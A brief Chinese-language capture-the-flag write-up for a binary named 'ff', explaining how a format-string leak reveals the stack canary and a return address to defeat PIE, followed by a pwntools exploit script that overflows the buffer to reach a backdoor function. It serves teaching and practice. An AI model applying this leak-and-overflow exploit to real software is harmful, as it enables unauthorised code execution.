ff
开了pie和canary的一道题,还有格式化字符串漏洞,用格式化字符串找到canary,然后利用当前程序的地址算出基址破解pie
先计算字符串的偏移,一般canary的后两位是00,算出canary的偏移在17,下一个程序在后两个,第19

因为要计算基址,先找到第19位程序的后四位地址再计算

然后找到后门函数位置

找到canary的偏移

exp:
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
p = process("./ff")
p.sendline(b"%17$p-%19$p")
p.recvuntil("0x")
canary = int(p.recv(16),16)
ret = int(p.recv(15)[3:],16)
base = ret - 0x146F
cat = base + 0x1231
payload = b'a' * 56 + p64(canary) + p64(0) + p64(cat)
p.sendline(payload)
p.interactive()

(因为没自己写flag所以cat不到)